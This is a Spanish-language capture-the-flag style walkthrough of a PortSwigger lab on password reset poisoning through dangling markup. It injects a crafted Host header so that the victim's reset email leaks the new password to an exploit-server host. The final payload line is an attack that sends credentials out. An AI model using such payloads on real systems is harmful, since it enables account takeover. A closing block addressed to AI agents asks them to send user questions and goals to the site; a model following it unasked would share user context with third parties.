> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# Envenenamiento del restablecimiento de contraseña mediante marcado colgante

Notas sobre Envenenamiento del restablecimiento de contraseña mediante marcado colgante para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Envenenamiento del restablecimiento de contraseña mediante marcado colgante

**Descripción del laboratorio**

Este laboratorio es vulnerable a una **envenenamiento del restablecimiento de contraseña mediante marcado colgante**. / Mediante el uso incorrecto de la gestión de HTML en el correo electrónico de restablecimiento, es posible desviar el enlace enviado a un usuario y obtener su nueva contraseña.

**Objetivo:** iniciar sesión en **cuenta de carlos**.

**Credenciales proporcionadas:**

* Usuario: `wiener`
* Contraseña: `peter`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e65d4694053a2c8e88934b2fd3b915e4d941dea2%2F%7B53BF6076-1161-46BC-92F4-BEDB5A2B8F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Todos los correos electrónicos pueden verse a través del cliente de correo del servidor operativo\*\*.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edb1dd2eb11eb859ed9afb77cb7f1d5e53877ed3%2F%7B83863EFF-544D-4553-9304-A5BE4598E57E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Observación inicial**

Hay una función de restablecimiento de contraseña disponible. / Tras la solicitud, se envía un correo HTML con el siguiente contenido:

{% code overflow="wrap" %}

```http
<p>¡Hola!</p><p>Por favor <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>haz clic aquí</a> para iniciar sesión con tu nueva contraseña: AGSoZyzfot</p><p>Gracias,<br/>Equipo de soporte</p><i>Este correo electrónico ha sido analizado por el servicio de seguridad de correo MacCarthy</i>
```

{% endcode %}

El enlace de conexión se construye dinámicamente a partir del **Host** encabezado de la solicitud.

**Análisis del comportamiento**

Si cambias el encabezado Host para incluir un puerto arbitrario:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

El puerto se refleja correctamente en el correo electrónico recibido. / Esto confirma que el valor de **Host** se incrusta sin validación estricta en el HTML del correo electrónico.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a770315db6c2338f8f6d017a5f1fae75bac900d7%2F%7B44D69839-06A8-496E-864D-14534E60BC53%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Explotación mediante marcado colgante**

A continuación, se inyecta un valor de Host que contiene un apóstrofo, rompiendo así el atributo HTML:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

El contenido es interpretado por el cliente de correo, lo que indica una inyección HTML utilizable.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49de2be6b2da1e3a5138680c1f55e799089d1033%2F%7BE94355E7-569F-4AFA-815B-811CBB438CA3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Carga útil final**

Esta conducta se aprovecha abriendo un `<a href>` etiqueta sin cerrarla correctamente, de modo que el resto del contenido del correo (incluida la contraseña) se interprete como parte de la URL:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39e596b82379e1d532c91fa6dc03d7c52f46f355%2F%7BB8A53E26-D351-439C-828E-0CE50E6139EB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

Cuando el correo se genera y se envía a **carlos**, el cliente de correo interpreta el HTML inyectado. / La nueva contraseña se incluye entonces en la URL y se transmite automáticamente al **servidor**.

La contraseña de Carlos se recupera de los registros del servidor, lo que permite iniciar sesión en su cuenta y validar el laboratorio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7874eb16757cdee3353da088984636631e6b1027%2F%7BC488527E-7DDB-42FE-992B-31362FBF8064%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
